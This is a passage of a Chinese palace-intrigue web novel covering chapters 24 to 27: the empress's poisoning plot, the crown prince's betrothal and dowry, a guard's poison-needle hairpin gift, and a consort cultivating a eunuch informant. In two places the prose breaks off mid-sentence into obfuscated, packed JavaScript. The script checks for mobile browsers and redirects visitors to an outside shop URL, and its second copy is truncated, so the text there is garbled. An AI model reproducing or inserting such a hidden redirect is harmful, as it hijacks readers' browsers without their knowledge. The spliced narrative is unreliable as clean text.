席容夫人说着,不禁落下泪来,席容炎眼眶微微发红,仰头望着窗外的那轮明月,许久方道,“夫人放心,无论过了多久,我待你的情意都不会变,我席容炎在这里发誓,一定要让我的夫人过上全天下女人都羡慕的日子。宰相,国丈,皇帝,我要一步步爬上去。” 席容夫人连忙起身捂住他的嘴,“就怕这个,你倒说得越发狠了。” 席容炎把手搭在她的手上,“别怕,就算天塌下来,我也会为你和孩子撑出一片天地。” 24. 喜事含悲意 夜深人静,中宫门口守夜的小丫鬟不小心打了个盹儿,头磕在了冰凉凉的台阶上,她“诶呦”一声惊醒过来,迷迷糊糊地看了一圈,眼皮又不争气地垂了下去。 突然间,她的眼睛一下子瞪大了,远处似乎有个人影飞快移动,她揉揉眼睛,便见那人已经大步走到自己跟前了。 丫鬟连忙行礼,“参见太子殿下。” 魏晗烨挥了挥手,便要推门进去。 “殿下,皇后娘娘已经歇息了,殿下若是有事,还请明日再来吧。” “让开。” 丫鬟哪里敢让,跪着抱住他的双脚,“求殿□□谅体谅我们这些做奴婢的吧。” “母后若是怪罪下来,孤自己担着,不干你们的事。” “不,殿下不能进去。” “让开!” 云英推门出来,“太子殿下。” “云英,孤有要事求见母后,还请代为通传。” “娘娘这些日子失眠多梦,今日难得睡得安稳,殿下若真有事,不如改日再来。” 魏晗烨大声喊道,“难道母后怕了不成?” “殿下不可胡言。” “那她为何不敢见孤?” “娘娘自然——” 只听“吱呀”一声,门忽地开了,云英和魏晗烨都住了嘴,齐齐看向门口,只见魏皇后身上披了一件银白大氅,墨发如瀑,悬至腰际,一白一黑,衬出了她意味不明的神色。 “娘娘。” “母后。” “云英,再点两根蜡烛,请殿下进来。” “是。” 魏皇后坐定,她打量了魏晗烨一阵,缓缓道,“有什么话就说吧。” “母后在琴弦上下了催情的药物?” “是。” “那名乐妓因此丧了命?” “是。” “母后,她是无辜的啊!” “你说谁无辜,是那个乐妓,还是席容烟?” “母后也是女子,应当知道清白二字,对于女子而言有多重要。” “哼,清白?笑话!席容琰那个贱人害了我的父亲,害了我的儿子,现下还要来害你,她家的人还配提清白二字吗?!至于那个乐妓,只可惜你来得太晚,没能亲眼看到她是怎么勾引皇上的,这样死了也不算冤枉了她。” “可是——” “你还没有回答我的问题,你到底在说谁无辜,是不是那个贱人的妹妹!” “是,都是,乐妓也好,席容烟也罢,儿臣觉得母后完全可以换一种方法,或者,就像我们之前商量好的那样,用痒痒粉让她出丑就行了,何必非要致人于死地?” “这样怎能解我心头之恨!你的外祖父外祖母,你的兄长——” 魏皇后神色激动,声调越来越高,云英轻轻咳了一声,魏皇后回过神来,眸间难掩失落,“你的,你的弟弟,都死在了他们手里,我如何能不恨啊!” “席容一家坏事做尽,母后有多恨,儿臣就有多恨,只是再恨,也不能昧了自己的良心,不然,我们和他们还有什么区别?” “或许,你说得并没有错,只是母后已经回不了头了,也管不了这么多了,这些年来,母后心里就只有一个念头,那就是报仇雪恨。多少次母后都快撑不下去了,却靠着这么一个念头又硬生生撑了下来,哼,什么良心,什么善恶,早就丢到一边去了。” 魏晗烨有些心疼,声音也柔和了不少,“母后的仇,也是儿臣的仇,请母后相信儿臣,儿臣一定会堂堂正正,亲手把这些仇恨了结干净,母后以后别再做这种事了,实在有损福报。” “知道了,对了,皇上已经给你赐婚,你接下来预备怎么办?” 魏晗烨犹豫了,若是之前,他定会说杀了她,毕竟,那么大的仇恨隔在他们中间,已经到了不是你死就是我亡的地步。可是,他在见了她一面之后却又不忍心了,她的眼眸是那么的干净,纯粹,仿佛多看一眼都是亵渎。他忽而就想起,她浑身颤抖,神色凄然,说的那句“她的命,原也不是她自己选的”。 “我知道,你因为不喜杀戮,才会想办法让席容烟入不了宫,这样一来,既害不了你,也能保住她自己的一条命。可是如今,她还是嫁给你了,你得早做打算啊。” “母后放心,生死攸关的事,儿臣是不会手软的。” 魏皇后微微颔首,“你明白就好,夜深了,早点回去休息吧。” “儿臣告退。” 云英熄了大殿的烛火,扶着魏皇后进了内室。 “莺儿那边,可还顺利?” “不大好,她被关在房间里面,什么事儿都做不了。” “本宫倒是小看那个老贼了。” “听说是席容夫人的主意。” “怪不得。” “娘娘可还要用她?我瞧着殿下也是个有主意的,只怕瞧不上这样的手段。” “用啊,自然要用,色字头上一把刀,天长日久的,我就不信,席容炎能忍得住。告诉莺儿,让她先别着急,慢慢等着,机会总会有的。” “殿下那边,用不用知会一声?” “不必了,先瞒着吧,省的他妇人之仁,坏了本宫的大计。” “是。” 云英见她阖了眼,便为她掖好被角,正要撒下金黄云凤宝罗帐,忽听得她说,“云英,你说煜儿该不会对席容烟动情了吧?” 云英的手一滞,“啊?” “我总觉得他方才神情有异,急得乱了方寸,不比平日沉稳。” “这是殿下心善,不忍心罢了,上次娘娘杖毙了一个宫女,殿下不也是这般吗。” “倒是奇怪了,从前也没见他这么一副慈悲心肠。” “殿下在暗室里待了那么久,性情变了也很正常,太医上次请脉的时候还说,娘娘失眠多梦就是平日忧思太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502732|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甚的缘故,娘娘就不要多想了。” 魏皇后不再说话,沉沉睡了过去,云英撂下帘子,便出去了。 魏晗烨和席容烟的婚期定在了一年之后,魏皇后不愿操持,只从自己的嫁妆里挑出一套看得过去的翠玉嵌珍珠头面充作聘礼,其余事宜都交给了内务府的人筹办。席容皇贵妃因为身份特殊,又有协理六宫之权,倒是着实忙碌了一番,却也乐见其成,并不觉得辛苦。 而另一边,席容夫人正忙着置办席容烟的嫁妆,虽然一娶一嫁,彼此为着什么,都是心中有数,可是太子娶亲,宰相嫁女,该走的过场还是要走的,该顾的脸面也还是要顾的。魏帝早朝时特意吩咐下来,太子娶亲乃是国之大事,应当普天同庆,内务府务必要办的风光漂亮。 为此,内务府又足足加了一倍的聘礼,席容炎自然不肯落后,也给席容烟多添置了许多嫁妆。 这日午后,华盛捧着册子走了过来,“夫人,这是老爷最后拟定的礼单,请您过目。” 席容夫人撂下茶盏,将这本十六开大小的厚厚一沓子奁谱徐徐展开,只见上头红纸打底,黑线勾勒,用了楷书写道: (嫁妆单子不确定可不可以放在正文里,详见 作者有话说啦) 席容夫人翻了一遍奁谱,眉头不觉皱了起来,“怎么回事,单是绸缎就又添了几百匹。” “皇上下了重聘,老爷的意思是我们府也不能落在后面,便又作主添了许多,除此以外,朝服、朝袍、朝裙、朝披、朝冠、朝珠皆由内办,还不在这个册子里。” “混账!这哪里是嫁女儿啊,分明就是陪送家产!” “老爷说,烟姑娘虽非夫人所出,但是一直养在夫人名下,此番出嫁,代表了席容家的脸面,自然应当十里红妆,风风光光。其实想想,老爷说的也没错,四小姐五小姐都是庶出,将来能使的嫁妆也是有限的,席容烟的婚事正是我们彰显实力的好机会啊。” “哎,老爷的心思我如何不知道,他是想借着这个机会向群臣炫耀呢,可是,木秀于林,风必摧之,堆出于岸,流必湍之,行高于人,众必非之,这个道理他却忘了。”[1] “夫人多虑了,烟姑娘毕竟是嫁给太子的,老爷这样做也顾全了皇家的脸面,旁人就算嫉妒,又能说什么,又敢说什么。” 席容夫人又细细看了半晌,“罢了,倒也不算太离谱,由他去吧。其他倒还好说,只是到时候穿的嫁衣是要由席容烟亲手缝制的,可把料子给她送过去了?” “昨个儿就送过去了,听说烟姑娘已经在赶了。” “还有一年,时间倒也不算太紧,先让她慢慢做吧,无论结果如何,她能这么风光一次,这辈子也不算辜负了。” “自然了,能为老爷夫人分忧,合该是她的造化呢。” 席容夫人合上册子,“给老爷拿回去吧,就说我都看过了,没什么不妥的。” “是。” 25. 江山共美人 灼灼红日,连带烫了金的云边,堪堪缀在屋檐一角,绽放着倏忽而逝的最后一抹芳华。 席容烟铺开余霞成绮的大红锦缎,左手持刀剪,右手挽绫罗,引了一根金线细细绣着,看了一时,觉得不甚满意,复又拆掉重做。 眨眼的功夫,这朵祥云已经绣了四遍,席容烟摩挲着不留痕迹的针脚,微微叹了口气,仍是狠心拆掉了。 其实,女子对自己的嫁衣精益求精也是寻常事,只是于她而言,难的不是如何出彩,而是如何藏拙。 说来也是奇怪,席容炎不曾为她请过什么有名的缝人绣娘,席容夫人也不过是派了一个府里的嬷嬷随便教上一教,可是席容烟却对刺绣有一种莫名的熟悉感,在她手里,一针一线竟像是自己身体的一部分似的,分外乖巧听话。 流光氤氲,霭霭地拢上手中的祥云纹样,一片朦朦胧胧的雾色之中,席容烟仿佛听见了一个年轻女子的声音,“旌儿,母亲说过多少次了,要这样绣。” 这声音和和柔柔的,听着十分亲切,席容烟不由得失了神,迷失在若隐若现的回忆里,直到听见桃夭唤她,方觉炫彩夺目的大红嫁衣撞入眼帘,将微不可查的如烟往事撕得粉碎。 她有些怅惘,“何事?” “老爷派人将姑娘的嫁妆单子摹了一份,送过来了。” “知道了,收起来吧。” “姑娘就不想看看吗,听说府上陪送的嫁妆十分丰厚呢。” “金簪子掉在井里头,看或不看,都是注定的事,何必多此一举。” 桃夭听得摸不着头脑,只好捧了册子出去,外头的日头明晃晃的,手里的册子沉甸甸的,她不小心在门槛上绊住,丢开了手,册子直直飞了出去。 不知从什么地方忽地闪出一道黑影,凌空一跃,稳稳接住了那本册子,而后旋身落定。 桃夭扶着门框看呆了,“寒将军?” “正好路过,姑娘在吗?” “在,姑娘在里头绣嫁衣呢。” 桃夭还没说完,寒星已经大步迈了进去,绕过蔷薇木香的镂空竹屏,在内室门口站住了。 楠木垂花拔步床上悬着天青色的软烟罗纱帐,底下铺着大红滚金边的嫁衣料子,席容烟因在做活,便用绶带挽着衣袖,露出了里面的纤纤玉腕,袖口的缠枝纹生生不息,婉转绵长,一路开到了寒星的心里。 席容烟正在走神,并未听见外头的响动声,此刻看见寒星站在自己眼前,不觉怔住了,慌慌地撂了针线下床,不知道该说些什么才好。 寒星勾勾嘴角,眼底滑过一抹笑意,他转过身去,“姑娘的衣裳乱了。” 席容烟这才想起自己挽了袖子的事,羞得面红耳赤,脸颊滚烫,活脱脱映着床上嫁衣的大红颜色,她一把扯下绶带,又将鬓角垂落的两绺青丝掖在耳后,待着心跳略缓了缓,方道,“将军怎么连个声响也没有,唬了人一大跳。” 她这话半真半假,既为自己脸红的事找了开脱,又有些责怪的意味,只是她的语气并不严厉,轻飘飘地落在寒星耳里,寒星的心反而更痒了。 “是吗,我头一次听说,害怕也会脸红。” 她嘴硬道,“我打小就是这样,将军武艺高强,难逢敌手,估计还从未有过害怕的感觉,又怎能以己度人,断定我所言不真呢。” 寒星无所谓地笑笑,“姑娘说什么便是什么吧,今日的确是我冒昧了,我是来送贺礼的。” 说着,他掏出一支木簪,用的不过是寻常木料,雕的却是十分精美,席容烟轻轻摩挲着,“这上头的纹样是什么?瞧着是烟花,又像是星河。” “并未循着什么花纹雕刻,姑娘觉得什么好看便是什么。” “这是将军的手艺?” “别嫌弃。” “怎会,我很喜欢,谢谢将军。” 寒星笑着拿过她手中的簪子,手指不经意间掠过她温润的掌心,尽管只是短暂的停留,他也觉得格外满足。 席容烟的脸又红了起来,寒星也不理会,自顾自拿着木簪说道,“这个簪子要紧的时候可以防身,我给你演示一遍。” 他旋开簪头,露出了里面藏着的精巧机关,“簪内共有三根银针,针针带毒,一击毙命,不到万分火急的时候不可随便使用,若要用时,只消扣住簪尾即可。” “这毒,有解药吗?” 寒星不曾想她会问这个,愣了一时,方道,“无药。” 席容烟的手瑟了一下,神色有些惋惜,“那中毒之人便必死无疑了。” “嗯,所以不可轻易使用。” 席容烟握着木簪,仿佛烫手山芋一般,学着寒星方才的样子演练。 寒星轻笑,“错了,是这样。” 寒星伸出双臂,将她环在身前,单手甩掉簪头,大指抵在了簪尾的位置,另一只手扼住她白皙的脖颈,却又极有分寸地隔着领口,并未往下再移一寸。 他的下颚贴在她松松挽着的发髻上,声音难得的轻柔,“懂了吗?” “懂了。” “那试试。” 他虽这么说,却仍是环着她,没有放开手的意思。 席容烟伸手去拿他手中的木簪,却怎么也拽不下来,她眼波流转,一时有了主意,不再去抢那支木簪,反手碰了一下寒星的指尖,电光火石之际,寒星仿佛蓦地失了魂魄,那簪子直直地从他手中滑落,她几乎毫不费力就接住了,席容烟得意一笑,又在寒星怀里一个回身,便将木簪抵在了寒星身上。 “如何?我这个徒弟没给你丢脸吧。” “隔了一层衣服,便会少了两成胜算”,寒星松松牵着她的手,移到了自己的脖颈处,“这里,才是最好的位置。” 席容烟的指尖灼热,他的皮肤却是那么冰凉刺骨,像是一块在海底藏了上万年的寒冰,她很想收回手来,可是就这么搭在他的肩上,她又莫名觉得心安,她忽然就想,若是能这么搭一辈子,也挺好的。 寒星嘴角又勾了勾,不着痕迹的松了力道,“没事儿多练练,别伤着自己就好。” “嗯。” “那我走了。” “别——” “嗯?” “留下吃杯茶吧。” “好。” 席容烟亲自开了茶笼,烧了滚水,在风炉边候着,冉冉茶烟,散逸开来,寒星的心跟着化了,静静看着她的身影,从无限瑰丽的云蒸霞蔚中品出一抹恬淡。 待着三沸之时,席容烟又浇上了一瓢二沸之水,便见沫饽涌现,如花似雪。 她斟了一杯,递与寒星,“请。” 寒星道了声谢,用手托着青白釉茶盏,轻轻吹着上面的一层青萍状华浮。 他素日里并不喜欢讲究这些,吃茶也好,饮酒也罢,都是痛痛快快两三口就下肚的事儿,可是如今,他倒愿意耐着性 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那次,他手持利剑,藏于屏风后面,只待着那个纨绔子弟搂着烟花女子快些入巷,自己也好尽快了结这份差事,偏生那人是个多情的种,竟和那名女子卿卿我我起来。 寒星耐不住性子,懒得再等,直接执剑刺去,男子大骇,起身拔剑抵挡,勉强战了几个回合,终究敌不过寒星的武功,眼看就要一命呜呼,女子却奋不顾身扑了上去,替他挡下了致命一剑,寒星从来不杀女子,他在惊异之余,收了几分力气,留了女子一命。 谁料男子意欲借机逃跑,竟推了女子过来,锋利的剑刃直直穿过女子的胸膛,喷出温热的鲜血,像是一朵凌空盛放的曼珠沙华。自然,男子也不能幸免,一番折腾下来,终究还是死在了寒星的剑上。 寒星用剑,一向是快、准、狠,并不刻意折磨剑下将死之人,可是这次,他却一改从前的作风,剑剑封喉,剑剑留情,那男子死时已经痛得面目狰狞,甚是骇人。 寒星收剑回鞘,发现女子尚有一口气在,伏在地上喘息着,他心想,她虽是个烟花女子,倒也不乏侠肝义胆,只可惜眼光不好,跟错了人。 “你原本不必死的,为了这么一个男人,不值。” “他说爱我,我便信了。” “可笑,你是风尘中人,还信这个。” “他待我未必没有几分真心,只是,谁先动情,谁便输了,你不懂。” 女子说完这句话,便再没动静了,寒星看着她的尸身,皱起了眉头,他那时的确不懂,什么情啊爱啊,有个屁用,换不得钱来,换不得命往。 可是如今,他瞧着席容烟的身影愈行愈远,竟懂了,他盼着盼着,终究没能盼来她的一次回眸。 寒星满不在乎的撇撇嘴,扯出一抹笑来,哼,我才不会输呢,江山,美人,我全都要。 26. 杨顺奉新主 仪鸾宫灯火通明,更阑人静,只听得景泰蓝护甲敲在月牙扶手上头,一声又一声。 兰鸢瞧着一桌子的佳肴美馔,“娘娘,饭菜怕是凉了,奴婢拿下去热一热吧。” 席容皇贵妃有些倦然地侧侧身子,换了个姿势继续倚着,“等皇上往这边来了再热吧,不然味道都跑没了,紫藤呢,叫她去请皇上,怎么还没回来?” “想是皇上有事耽搁了吧。” “皇上把政务都交给魏晗烨了,还能有什么事儿。” 兰鸢声音压低了些,“娘娘,我中午去取月例银子的时候,听长乐宫的小太监说,皇上几天前刚召过几名西域客商问话,像是为着什么事儿,今早又召见了一次。” 席容皇贵妃闻言,倏地坐直身子,“这么重要的事儿,你怎么不早点告诉本宫。” “娘娘一直在内务府忙乎烟姑娘嫁妆的事,那地方人多口杂的,奴婢也不敢说啊。” “罢了,你明日去找长乐宫的李义仔细打听打听,他打小就伺候着皇上,对皇上的心思最是清楚,看看能不能从他嘴里问出些什么来。” “李公公不像是个好说话的,娘娘忘了,上次为着魏晗烨的婚事,娘娘就派人去找过他,可他一不收礼,二不松口,只怕难为我们所用。” “礼嘛,还是要送的,好歹也不能得罪了他。” 兰鸢不屑道,“他再得宠,也不过就是一个阉人,娘娘何等尊贵,难道还顾忌他不成。” 席容皇贵妃转了转右手小指上的指甲套,端详着尖处一簇浓艳欲滴的烧蓝色,缓缓道,“这宫里头的有些人平时看起来不起眼,到了要紧的时候,却是有大用的。” “可是他不领我们的情啊。” “领不领是他的事,送不送是我们的事,何况,他也是个聪明人,早晚有一天会知道和本宫联手的好处。对了,我记得皇上跟前还有个叫杨,杨什么来着?” “杨顺,他倒是对娘娘十分孝敬,隔三岔五就过来请安,不过杨公公也有自己的私心,听说他在宫外有个表弟,巴望着能在朝中谋个一官半职呢。” “这不正好,他这种趋炎附势的家伙,若是再没个私心,本宫倒不放心用了,你找人给父亲捎句话,就说得空挑个清闲的差事把他弟弟安排了。” “是,奴婢明日就去办。” “顺便再把本宫挑的那盒南珠给烟姑娘送去,对了,烟姑娘的帕子找到了没有。” “还没有,奴婢这些日子借着宫里丢了东西的由头,派人将御花园里里外外翻了个遍,连个影儿都没瞧见。” “既这么着,就不用再找了,都过去这么久了,估计再怎么找也找不到了。” “娘娘觉得,这事儿和东宫中宫有没有干系?” “女孩子家丢了帕子,虽然有损名节,却也不是什么十恶不赦的罪过,即便最后传开了,皇上也不至于为着这个毁了婚约,这种小打小闹的把戏,皇后才不会做,至于魏晗烨,那日我看他一脸惊异,也不像是事先知道的人,或许,这帕子就是丢了吧。” “这么说,倒是烟姑娘自己不当心了。” “一个十五六岁的小姑娘,又是第一次进宫,哪有不慌的,这也是人之常情,记得本宫第一次见着皇上的时候,连声音都是颤的,一晃眼都过去这么多年了。常言道,福兮祸所倚,祸兮福所伏,她也是个有福气的,若不是丢了帕子,没准还真做不成太子妃。” “她是有福的?奴婢瞧着倒未必,一个没亲没眷的孤女,不过是娘娘的一枚棋子罢了,皇后和太子都不待见她,娘娘虽然有心帮衬,手也伸不到东宫里头。将来无论怎样,烟姑娘都难逃一死,不过是早些晚些,死在谁手里的事儿。” 一阵冷风裹着兰鸢的尾音,从双交四椀菱花的窗格中间穿过,吹得窗下的大红牡丹陡然掉了几瓣,三三两两,横在地上,仿佛一滩血雨。 席容皇贵妃不自觉打了个哆嗦,她的声音微微有些发颤,“她是我的棋子,那我又是谁的棋子?父亲的?母亲的?席容一族的?不慎著错,便似无常限至,扁鹊难医,说起来,我又比她高贵多少?” 兰鸢慌了神,连忙跪下请罪,“奴婢失言了,只是娘娘上有父母疼爱,中有皇上眷顾,下有公主承欢,哪里是她能比得了的。” 席容皇贵妃幽幽叹了口气,抬手紧了紧绣着如意式云头纹的琵琶襟,“在宫里呆久了,整个人都寒浸浸的,明明是四月的艳阳天,夜里的风还是这么凉,你去把窗子关上吧。” 兰鸢应了一声,起身去关窗子,恰从窗格中瞧见紫藤正一步步过来,她欢喜地迎了出去。 “紫藤,你可回来了,娘娘都等着急了。” 紫藤神色淡淡的,跟着兰鸢进来,回道,“娘娘不必再等了。” “皇上从长乐宫出来了?” “是。” “出来就好,他累了一天了,兰鸢,快把膳食拿去热热。” 兰鸢应了一声,却被紫藤一把拉住,紫藤跪了下去,“皇上他去奉安宫看黛常在了。” 席容皇贵妃愣了一刻,痴痴盯着地上的牡丹花瓣出神。 兰鸢也跪了下去,“娘娘息怒啊,别气坏了自己的身子。” 席容皇贵妃倒是笑了,“本宫有什么好生气的,人是本宫举荐的,皇上肯去,本宫应该高兴才是,不过,本宫原以为皇上会先召幸怡贵人的,她家世好,人也漂亮,更是皇上自己相中的女子,尚未入宫就封了贵人,还赐了永和宫给她住。” 兰鸢道,“皇上倒是特意去过永和宫两次,只是怡贵人性子清高,见了皇上也不爱笑,皇上便不大去了。” “你倒有心,这种事儿都打听得这么明白。” “还不都是为了娘娘,要不奴婢打听这些做什么。” 席容皇贵妃不置可否,站起身来,“不必再热了,估摸着还没凉透,伺候本宫用膳吧。” 紫藤和兰鸢应声起来,一左一右扶她去用晚膳。 席容炎办事很快,兰鸢这边才递了消息出去,他就将杨顺的弟弟安排妥当了,杨顺自然十分感恩戴德,寻了个机会就来仪鸾宫给席容皇贵妃磕头。 “奴才自小家贫,爹娘为了一袋小米,把我送了进来,奴才是挨了一刀的玩意,世上就只剩这么一个亲人,偏偏还是个游手好闲的,娘娘的大恩大德,奴才永生不忘,以后甭管是上刀山下火海,娘娘但凡有用得着奴才的地方,您吱一声,奴才要有片刻犹豫,都不是人。” “举手之劳而已,杨公公言重了,快起来,紫藤,赐座。” 杨公公连说了两句“不敢”,才挨着绣墩的边沿坐了。 席容皇贵妃倚着六合同春的缂丝帛枕,笑道,“公公今日清闲,不用在皇上跟前伺候着?” “皇上在长乐宫歇中觉呢,奴才也就趁这会子功夫,才能赶着过来给娘娘磕头。” “其实,磕不磕头原也不打紧,本宫更看重的是公公是否忠心。” “奴才自然忠心。” “那,公公忠于谁呢?” “娘娘的意思是?” “公公是个聪明人,本宫也不和你绕弯子了,昨个儿,皇上的中觉睡得不大安稳吧?” 杨公公眼皮一跳,斟酌着说道,“皇上昨个儿为着平乐公主的事,不大高兴。” 席容皇贵妃看他不往下说,也不催他,拣起黄地三彩折枝花果云龙纹盘中的一串樱桃,不急不缓打量了半晌,末了摘下一颗最为圆润的送入口中。 “公公知道,这是什么吗?” “这是樱桃吧,奴才记得,皇上把今春摘下来的头一批樱桃全都送到娘娘宫里了。” 席容皇贵妃莞然一笑,“是啊,樱桃自古便被誉为‘百果第一枝’,自然是切将稀取贵,羞与众同荣,只是再好的东西,多了也是烦恼,本宫一个人如何享用的了这么多,最后只好单拣自己觉得赏心悦目的吃,剩下的或是赏人,或是制成果脯,倒也不算辜负。”[1] “樱桃虽然难得,但在娘娘这里也不算什么珍馐,娘娘自然要挑上好的用。” “不知公公喜欢什么样的樱桃?” “奴才没见识,怕说出来惹娘娘笑话。” “这有什么的,本宫又不是考才学,选官员,不过是同你聊着玩的,公公随便说说便是。” “有一次,奴才办好了差事,讨了皇上的欢心,得了半盘子樱桃,哎呀,现在回味起来,那果子又大又甜,真真是个好东西,甭管它长成什么样,奴才都不会剩下一点。不过,娘娘若是让奴才选,奴才肯定会选个头最大,颜色最红的果子。” 杨公公说得眉飞色舞,一边说一边用两只手比划着,逗得旁边的紫藤和兰鸢都笑将起来。 席容皇贵妃摇着扇子嗤笑,“杨公公倒是个实诚人,其实公公说得也没错,只不过各花入各眼,本宫就和公公的想法不同,在本宫看来,个头大,颜色红的果子自然是好,只是,个头太大便会不宜入口,累着牙齿,颜色太红便会软了肉质,失了风味,所以,本宫最喜欢颜色规矩,品相匀圆的果子。” “娘娘高见,奴才佩服。” “果子如此,人亦如此,本宫选中的人未必是最出色的,但一定得是最忠心的,要不然,本宫宁可丢开了不吃,左右宫里 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“谢娘娘赏。”杨公公双手捧过,又磕了一个头,“娘娘,有一个西域的客商说他曾在西域见过平乐公主,公主破衣烂衫,还被关在牲口住的棚子里,过得很不好,皇上听了震怒,打算立刻派遣使臣出使西域,还想命肃安王率军同往,令他务必带个说法回来。最要紧的是,那名客商提到平乐公主的际遇似乎和席容大人有关,不过他说到此处,皇上就让奴才去殿外候着了,剩下的话,奴才也没听见。” 席容皇贵妃往前欠了欠身子,急切道,“杨公公,你可知那个客商叫什么名字?” 杨公公努力回忆着,“似乎是姓刘,叫什么,奴才就不清楚了,只知道皇上让他住进了顺天客栈,还派了两个御前侍卫日夜保护他的安全。” 席容皇贵妃敛眉思忖片刻,笑道,“本宫知道了,还请公公平时在皇上身边多劳些神,若有什么风吹草动,立即过来知会本宫一声。” “娘娘放心,奴才一定留意,娘娘也不用将这些谣言放在心上。” “嗯,时辰也不早了,一会儿皇上醒了,看不见你该问了,公公快回去吧。” “那奴才先告退了。” 杨公公刚一出去,席容皇贵妃的脸色立时就冷了下来,紫藤给她斟了杯热茶,轻声道,“娘娘,我们接下来应该怎么办?” 兰鸢也凑上前来,“娘娘,贤贵妃和淑妃一向交好,肃安王更是和平乐公主兄妹情深,只怕不好笼络。” 席容皇贵妃并不答话,一只手攥着帛枕,一只手死死握着茶杯,滚烫的茶水溢在手上都浑然不觉,半晌方道,“拿笔墨来。” 她写了半日,方才搁笔,将信纸对折两次,塞进红签书套,又用蜡油封好,递给紫藤,“将这封信速速交到父亲手上。” “奴婢马上找人去办。” 席容皇贵妃取出自己的鎏金令牌,“不,这封信,你要亲手交到父亲手上。” 紫藤接过令牌,将信揣好,郑重地行了一礼,便快步出去了。 宰相府。 席容炎认真看了半晌,将信搁在火盆里头烧了,直到信的最后一角燃作飞灰,他才站起身来,对紫藤道,“让琰儿放心,这件事,我来办。” 紫藤坐了一刻,便告辞出去,席容炎又唤了寒星过来。 席容炎只说了一句话,“顺天客栈,刘言敬。” 寒星会意,抱剑称是。 “主公还有其他吩咐吗?” “没了,你下去吧。” 寒星正要退下,忽听席容炎说道,“寒星,我提醒你一句,作为一个暗卫,你不要忘了自己的本分,不该惦记的人别惦记,不该有的情意别有,这样,才能活得长久。” 寒星面上一凛,垂首掩住神色,恭敬道,“属下知道。” 席容炎注视着他,神色渐渐缓和下来,抬手拍了拍他的肩膀,“你十岁上下就跟了我,杀人放火,毁尸灭迹,你都做得干净漂亮,我一直把你当作心腹,除了为着魏晗烨的事,我也从来没有苛责过你,我今日和你说这些,不是舍不得她,而是舍不得你。” 寒星闻言,心中一动,面上却并不显露分毫。 “我的确喜欢席容烟,也给过她选择,但她自己选了一条必死无疑的路,我也没奈何,说破天,女人不过就是件衣服,舍弃就舍弃了,也没什么可惜的,但你不同,你是难得的人才,又是我一手调教出来的,寒星,我怎么能看着你走岔路呢。” 席容炎见他不吭声,只是静静听着,便又笑道,“我知道,血气方刚的年纪,有了这些念头也很正常,你若看准了哪家的女儿,尽管和我说,只要那女孩子家世清白,老实本分,我都依你,你若喜欢秦楼楚馆的那款就更容易了,以后去红翠馆直接报我的名号,一应花销都记在我的账上,你说好不好啊。” 寒星只作欢喜状,拱了拱手,“多谢主公。” 席容炎笑笑,“不用客气,但也悠着点,别耽误了正经事,去吧。” 27. 平乐不平乐 景丰宫。 贤贵妃得了消息,连忙去寻淑妃,还未进殿,便听得里头一片哭声,淑妃看见了贤贵妃,体统也不顾了,扑上去抱住她,呜呜咽咽哭个不停。 贤贵妃掏出帕子给她拭泪,“好妹妹,快别伤心了,没得哭坏了身子。” 淑妃仍是抽泣着,“姐姐,你说平乐怎就这般命苦,嫁到那等荒蛮之地,还要受人欺辱,平平安安,快快乐乐,她竟是一样也不占。平乐她是大魏的长公主,何等尊贵的身份,何等荣耀的血脉,怎能被那起子蛮人肆意作践。我想要接她回来,皇上却不肯,说要再等一等,平乐也是他的亲生女儿,他怎么就不心疼!” “哎,平乐公主是皇上的第一个女儿,皇上怎会不心疼,父母之爱子,则为之计深远,妹妹你仔细想想,若是皇上此时接了公主回来,她一个嫁了人的女子,只能在宫里没名没份地过一辈子,旁人虽不敢说什么,背后岂有不议论的。皇上登基之初,内忧未平,外患又起,大魏和西域打了多少年的仗,也没分出个胜负,战火频仍,赤地千里,直到公主嫁了过去,两边才勉强安静了几年,这份和平来之不易,皇上怎能轻易舍弃,更何况,这件事仅是那名客商的一面之词,没有什么实质性的证据,皇上不好贸然出兵的。” “可是平乐她不仅是大魏的公主,更是我怀胎十月生下的骨肉啊,当日,我为了大魏,眼睁睁看着她远嫁他乡,而今,我又要看着她在那边受苦,自己除了痛哭,什么也做不了,天底下怎会有我这么没用的母亲!姐姐,我恨啊!恨自己嫁给了皇上,恨平乐生在了帝王家!” “皇室儿女不同于普通人家的孩子,他们一生下来就不必为了生计烦心,出有香车宝马,入有钟鸣鼎食,他们既然享受了这份尊容,就得为着这份尊容做出相应的牺牲,皇子也好,公主也罢,或是征战沙场,或是远嫁边疆,总归要把家国利益放在个人幸福前头,我的安儿不也是这样吗,他的所有功劳都是自己一刀一枪拿命拼下来的。” “肃安王征战沙场,可是姐姐还有哲远王承欢膝下,不像妹妹,就只有平乐一个孩儿。” 贤贵妃叹了一口气,把淑妃头上那支快要滑落的金镶宝石倒垂莲步摇扶正,“远儿还小,我暂且还能留他一阵子,只是以后的事儿谁又说得准呢,走一步看一步吧。” “对不起姐姐,都是我不好,倒勾着你伤心了。” “没事,妹妹能想开些就好,我只是不明白,妹妹究竟哪里得罪席容皇贵妃了?” 淑妃一愣,止住了哭,诧异道,“姐姐这是何意?席容皇贵妃?我何曾得罪过她?” “妹妹莫非还不知道?” 淑妃惶然摇头,贤贵妃使了个眼色,身边的采碧便引了殿里的人出去,贤贵妃这才说道,“我也是听安儿说起,平乐公主的遭遇似乎同宰相有关,姐姐心里觉得奇怪,按说,宰相是席容皇贵妃的父亲,他这么做必然是得了席容皇贵妃的授意,可妹妹从未插手过她与魏皇后之间的纷争,她为何要对平乐公主下此毒手呢?” 淑妃脸色发白,紧紧握住她的手,“姐姐这话可是真的?” “此事不是我亲眼所见,是真是假,我也不好说,妹妹心里有个数就好。” 